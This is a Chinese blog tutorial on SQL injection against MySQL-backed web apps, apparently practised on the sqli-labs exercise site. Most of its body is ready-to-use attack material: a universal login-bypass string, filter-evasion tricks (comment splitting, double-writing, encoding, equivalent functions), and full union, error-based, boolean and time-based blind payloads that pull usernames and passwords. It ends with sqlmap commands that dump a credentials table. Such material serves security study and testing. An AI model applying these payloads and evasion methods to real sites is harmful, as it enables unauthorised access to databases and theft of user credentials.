【超详细版】SQL注入原理及思路绕过(看这篇就够了)

SQL注入各种注入原理|绕过技巧|带实例详解| Union(联合)注入攻击详解、 字符型union注入、Boolean(布尔盲注)注入攻击详解、报错注入攻击详解(报错注入只显示一条结果,通常要使用limit)、时间注入攻击、堆叠查询注入攻击、二次注入攻击、宽字节注入攻击、cookie注入攻击、base64注入攻击、XFF注入攻击、SQL注入绕过技术、sql注入修复建议 阅读详情
AI摘要

本文详细介绍了SQL注入相关知识。阐述了SQL注入原理、产生原因和本质,指出其危害。还给出SQL注入思路,包括判断注入点、数据库类型、参数数据类型、语句过滤情况,介绍绕过过滤方法,以及联合查询注入、报错注入等注入方式,最后提及使用sqlmap工具注入。

 SQL注入原理

1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;

《黑客&网络安全入门&进阶学习资源包》

SQL注入思路

1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。

sql注入点类型

  1. get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
  2. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
  3. 有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
  4. Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
  5. XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
6. UA注入
输入点在User-Agent

2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql

根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据数据库特有表进行判断

1、mssql数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from sysobjects)>0 and 1=1

2、access数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from msysobjects)>0 and 1=1

3、mysql数据库(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(\*) from information\_schema.TABLES)>0 and 1=1

4、oracle数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from sys.user\_tables)>0 and 1=1

根据其返回的错误类型

ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

3.判断参数数据类型

通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据类型。先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
类似判断闭合方式
id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
【原因:and 1=1或者and 1=2 写入了sql语句并且执行成功 因为1=2是错误所以id=1 and 1=2回显是错误的】
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显正确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
【原因同上】
判断为闭合方式为【'】型
以上注入不成功的时候尝试
1%df’ 此为宽字节注入
参数类型一般有数值型,字符型

数值型

前台页面输入的参数是「数字」。
比如下面这个根据ID查询用户的功能。

后台对应的SQL如下,字段类型是数值型,这种就是数值型注入。
select * from user where id = 1;
写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型

字符型

前台页面输入的参数是「字符串」。
比如下面这个登录功能,输入的用户名和密码是字符串。

后台对应的SQL如下,字段类型是字符型,这种就是字符型注入。
select * from user
where username = 'zhangsan' and password = '123abc';
字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。
1)单引号字符型注入
参数使用「单引号」包裹时,叫做单引号字符型注入,比如下面这个SQL,就是单引号字符型注入。
select * from user where username = 'zhangsan';
2)双引号字符型注入
参数使用「双引号」包裹时,叫做双引号字符型注入,比如下面这个SQL,就是双引号字符型注入。
select * from user where username = "zhangsan";
3)带有括号的注入
理论上来说,只有数值型和字符型两种注入类型。
SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
a. 数值型+括号的注入
使用括号包裹数值型参数,比如下面这种SQL。

select \* from user where id = (1);
select \* from user where id = ((1));

包裹多个括号……
b. 单引号字符串+括号的注入
使用括号和单引号包裹参数,比如下面这种SQL。

select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan'));

包裹多个括号……
c. 双引号字符串+括号的注入
使用括号和双引号包裹参数,比如下面这种SQL

select \* from user where username = ("zhangsan");
select \* from user where username = (("zhangsan"));
包裹多个括号……

4.判断数据库语句过滤情况

正常输入sql语句如果通过查看回显来判断语句是否被过滤
判断列数
如果order by被过滤则尝试绕过,如果无法绕过就无法得到列数,这时就无法使用联合查询注入。
判断显示位
如果页面没有显示位,同样无法使用联合查询注入。
报错信息
如果没有报错信息返回,则无法使用报错注入。

5.绕过 过滤

正常进行sql注入,通过回显来判断数据是否被过滤

1、过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
绕过方法:
(1)最常用的绕过方法就是用**//,<>,分割关键字

sel<>ect
sel/**/ect

(2)根据过滤程度,有时候还可以用双写绕过

selselectect

(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过

url编码绕过
16进制编码绕过
ASCII编码绕过

2、过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
绕过方法:
(1)简单注入可以使用join方法绕过
原语句:

union select 1,2,3

join语句:

union select * from (select 1)a join (select 2)b join (select 3)

(2)对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

3、过滤空格

空格被过滤有以下几种方法绕过:

(1)双空格 
(2)/**/ 
(3)用括号绕过 
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

4、过滤等号

如果等号被过滤了我们可以用 like 代替
使用like 、rlike 、regexp 或者 使用< 或者 >

5、过滤大于小于号

盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:
(

1)greatest(n1,n2,n3,...)		//返回其中的最大值
(2)strcmp(str1,str2)		//当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and		//选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

6.等价函数绕过

hex()、bin() ==> ascii() 
sleep() ==>benchmark() 
concat_ws()==>group_concat() 
mid()、substr() ==> substring() 
@@user ==> user() 
@@datadir ==> datadir() 
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  
或者: substr((select 'password'),1,1) = 0x70 
strcmp(left('password',1), 0x69) = 1 
strcmp(left('password',1), 0x70) = 0 
strcmp(left('password',1), 0x71) = -1

6.根据注入情况使用注入方式

使用id=1进行尝试尝试 继续使用order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询
尝试使用报错语句?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+等没有报错信息显示时放弃使用报错注入
尝试使用布尔盲注和时间盲注(建议使用工具进行注入)

联合查询注入

前提:知道列数且页面上有显示位。
判断显示位、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
列数

select id,username,password from security.users where id=1 order by 1;

显示位

select id,username,password from security.users where id=1 union select 1,2,3;

数据库名

关于将id值设置为0或者负数的解释

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果为空,我们插入的SQL语句的结果就会被返回。
联合查询时union select无法执行时 用union+select代替 接下来的查询语句空格全部用【+】代替

?id=-1' union select 1,2,database() --+

或所有数据库名

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

指定数据库中表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

或

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
指定数据库中指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

具体数据

?id=-1' union select 1,2,group_concat(username,password) from users --+

报错注入

前提:页面会显示数据库报错信息。
得到报错信息、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

或

?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用limit参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用limit挨个遍历

?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

布尔盲注

情况:没有显示位、没有报错信息,但是有SQL语句执行错误信息输出的场景,仅仅通过报错这一行为去判断SQL注入语句是否执行成功。
数据库长度

?id=1' and (length(database()))>7 --+	
?id=1' and (length(database()))>8 --+

数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+或?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用limit参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

指定数据库中指定表中所有字段名

?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

时间盲注

前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
缺点:因为是通过sleep()函数影响的响应时间来判断语句是否执行,所以比布尔盲注更慢,真实环境下时间盲注一个注入点需要跑大概五六个小时。
猜解数据库
数据库个数

?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1)

第一个数据库名有多少个字符

?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)

判断第一个库第一个字符

?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符

当前数据库
当前数据库长度

?id=1'+and+if((length(database()))=7,sleep(5),1) --+
?id=1'+and+if((length(database()))=8,sleep(5),1) --+

当前数据库名

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+

猜解表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20t
able_schema=database()%20limit%200,1),1,1)))=108,sleep(5),1)%20--+

猜解字段名

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1)))=102,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20
where%20table_name=%27users%27%20limit%201,1),1,1)))=102,sleep(5),1)%20--+

猜解具体数据

?id=1' and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=102,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=102,
sleep(5),1)%20--+

7.使用工具进行注入

1.sqlmap

基础探测命令
联合查询注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3

报错注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3

布尔盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3

时间盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3

爆破数据
--current-db 当前使用的数据库
--dbs 列出数据库信息
-D 指定数据库,爆破指定数据库中的表
-D 数据库名 --tables
-T 指定数据表名,爆破指定表中的字段
-D 库名 -T 表名 --columns
-C 指定字段名,爆破具体数据
--dump 将数据导出、转储
指定库、表、字段,查询具体数据

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump

《黑客&网络安全入门&进阶学习资源包》

sql注入详解 目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没 阅读详情

相关推荐

SQL注入基本原理

SQL注入基础原理: 1)SQL注入概念及产生原因: 当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。 2)SQL注入的本质: 把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则 3)SQL注入的两个关键点: 1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行; SQL注入基础危害: )盗取网站的敏感信息; )绕过网

DM766924的博客 3429

Sql注入详解(原理篇)

SQL 注入漏洞非常复杂,区分各种数据库类型,提交方法,数据类型等注入,同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

Naive的博客 2万+

NXP(imx8qxp)系列DDR校准以及android镜像烧录

文章目录一、 不得不吐槽以下nxp的这个代码镜像烧写的过程,做得太开源了,导致镜像根本烧录不进去,实属令人头痛。 一、

永不秃头的程序员的博客 5991

SQL注入原理

一、SQL注入原理 SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。 它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照设计者意图的SQL语句。 产生原因: 产生原因是程序没有细致过滤用户输入的数据,从而导致非法数据进入系统。 二、相关技术原理: SQL注入可以分为平台层注入和代码注入。前者是由不安全...

qq_44754481的博客 1万+

手把手教你用ArduPilot搭建低成本无人车(附APM飞控+有刷电调配置清单)

本文提供了一份基于ArduPilot开源平台搭建低成本智能无人车的详细实战指南。核心内容包括APM架构飞控的选型、双向有刷电调的兼容性配置与校准、系统连接逻辑,以及通过Mission Planner地面站进行参数调校和自主导航功能设置的完整流程,帮助爱好者快速实现从手动控制到自主行驶的跨越。

java5的博客 849

AUTOSAR CAN通信全过程

首先,从AUTOSAR架构上来说,一个完整的CAN通信的过程涉及到了包括硬件、AUTOSAR中间件和上层应用层软件;在硬件部分来说,涉及到的是CAN 总线和CAN的收发器;软件部分的话,涉及到的概念是MCAL(微控制器抽象层)、BSW(基础软件层)、RTE(实时运行环境)、APPL(应用层)等;其中MCAL部分用到了通信驱动模块,而BSW部分使用到了通信服务模块和通信硬件抽象模块;由于笔者是做MCAL和BSW的,至于应用层部分的知识就暂且不具体介绍了;

xxdw1992的博客 6249

SQL注入详解

现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现安全隐患,为了更好的保护数据泄露或服务器安全,为了方便的安全测试,便编写此文。 1. SQL注入简介 SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示: query="SE

行者AI 1万+

MIUI升级后录音神秘消失?别慌!手把手教你从Android/data目录找回宝贵录音文件

本文详细解析了MIUI升级后录音文件消失的原因,并提供了从Android/data目录找回录音文件的实用指南。通过技术分析和步骤演示,帮助小米手机用户解决录音文件丢失问题,同时分享预防措施和高级恢复方案,确保重要录音数据安全。

weixin_30696427的博客 281

【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

MachineGunJoe666 9182

基于simulink构建一个完整的航空航天器姿态控制与导航仿真模型

航空航天器的姿态控制与导航系统是确保飞行器稳定运行和精确执行任务的核心技术。其目标是通过传感器获取飞行器的状态信息,并利用控制器调整飞行器的姿态,使其按照预定轨迹飞行。基于MATLAB/Simulink平台进行航空航天器姿态控制与导航系统的建模与仿真,可以帮助研究者验证算法性能并优化系统的动态响应。本项目旨在构建一个完整的航空航天器姿态控制与导航仿真模型,包括飞行器动力学建模、传感器模块设计、控制器实现以及导航算法仿真,并通过仿真分析其性能。

xiaoheshang_123的博客 272

LangGraph-StateGraph 和 Graph API 源码分析

摘要: StateGraph是LangGraph的核心API,用于构建有状态工作流图。本文分析了其实现原理,包括: 核心类关系:StateGraph(构建器)和CompiledStateGraph(继承自Pregel的可执行图) 关键流程:状态模式到通道的映射、节点到PregelNode的转换 实现特点: 支持TypedDict和Pydantic两种状态模式 自动选择通道类型(LastValue或BinaryOperatorAggregate) 通过映射函数处理节点输入输出 边实现基于通道写入机制 编译过程

838

sql注入各种绕过

sql注入绕过

weixin_42478365的博客 1万+

大模型选型实战:为OpenClaw匹配最优“大脑”的全维度考量

大模型不是越贵越好,也不是参数越高越好,适合自己的使用场景才是最好的。按照我的方法,先明确自己的需求,再选对应的模型,配置多模型自动路由,既能保证体验,又能最大限度降低成本。我自己用这套配置用了半年多,不管是写文章、写代码还是处理复杂问题,都完全够用,成本也很低,大家可以参考一下。如果不知道选什么模型,可以在评论区说一下你的使用场景。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 343

SQL注入漏洞(绕过篇)

SQL注入的绕过手法

errorr0 5788

EXCEL VBA从入门到精通 第一章:VBA入门

在VBA中,需要使用关键字Dim来定义一个变量,后面跟上变量名和变量的数据类型。例如,下面的代码定义了一个整型变量x和一个字符串变量name在VBA中,使用关键字Const来定义常量,后面跟上常量名和常量的值。例如,下面的代码定义了一个整型常量MAX_NUM和一个字符串常量MESSAGE需要注意的是,常量一旦被定义,其值就不能被改变。

1万+

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

SQL注入绕过正则及无列名注入

本篇为SQL注入绕过正则表达式及无列名注入,详细内容包含了select\bNslS]bfrom正则 科学计数法绕过 过滤information 四、无列名注入 1、利用 join-using 注列名 2、无列名查询 五、报错注入7大常用函数 1.ST LatFromGeoHash() (mysql>=5.7.x)payload 2.ST LongFromGeoHash (mysql>=5.7.x) payload 3.GTID (MySQL >= 5.6.X - 显错

钟言的博客 1万+

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

SQL注入原理及思路(绕过)-超详细

(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本。通过+1、-1、and 1=1、and 1=2、注释符。或者通过报错注入是网页返回报错信息。

weixin_52501704的博客 3503

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

【网络安全】SQL注入原理及思路绕过,看这一篇就够了!

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

2301_77472496的博客 920

SQL注入原理及思路绕过,一文详解!

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

wangluo12138的博客 1009

IPS眼中的——SQL注入绕过与反绕过

目录前言1. 空格字符绕过2. 大小写绕过3. 浮点数绕过绕过IDP角度分析4. NULL值绕过绕过IDP角度分析5. 引号绕过6. HEX绕过7. 添加库名绕过8. 去重复绕过⭐绕过IDP角度分析9. 反引号绕过10. 脚本语言特性绕过绕过IDP角度分析11. substr 截取字符串⭐绕过IDP角度分析12. mid 截取字符串⭐12. 使用join绕过13. like绕过⭐14. limit offset 绕过15. or and xor not 绕过⭐16. ascii 字符绕过⭐17. 等号绕过⭐

LainWith的博客 6609

SQL注入-绕过WAF以及一些注入手段

大小写绕过   如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只对整体进行过滤。例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。 双写绕过   如果在程序中设置出现关键字之后替换为空,那么SQl注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。 例如:过...

qq_25899635的博客 5473

浅谈SQL注入的几种绕过技巧与防范

《SQL注入攻防实战:绕过技巧与防御措施》 摘要:本文深入探讨SQL注入常见过滤机制与绕过方法。针对字符过滤、WAF拦截等防御手段,提出宽字节注入、大小写混用、注释拆分等绕过技巧;针对盲注场景,介绍布尔盲注、时间盲注和DNSlog外带数据技术;还分析堆叠查询和二阶注入等高级攻击手法。同时强调防御措施的核心在于预编译语句、输入验证、权限控制和日志监控。文章指出攻防本质是持续对抗,但通过规范编码习惯可从根本上降低风险,为安全从业者提供实用参考。(149字)

qq_62275604的博客 2013
上一篇: 【网络安全】Nessus、AWVS、Appscan、OWASP漏洞扫描工具的区别(介绍、测试对象对比、优劣对比)
下一篇: 【2023最新版】超详细Wireshark安装保姆级教程,及简单使用Wireshark抓包
程序媛西米
博客等级 码龄5年 4029粉丝 1569原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值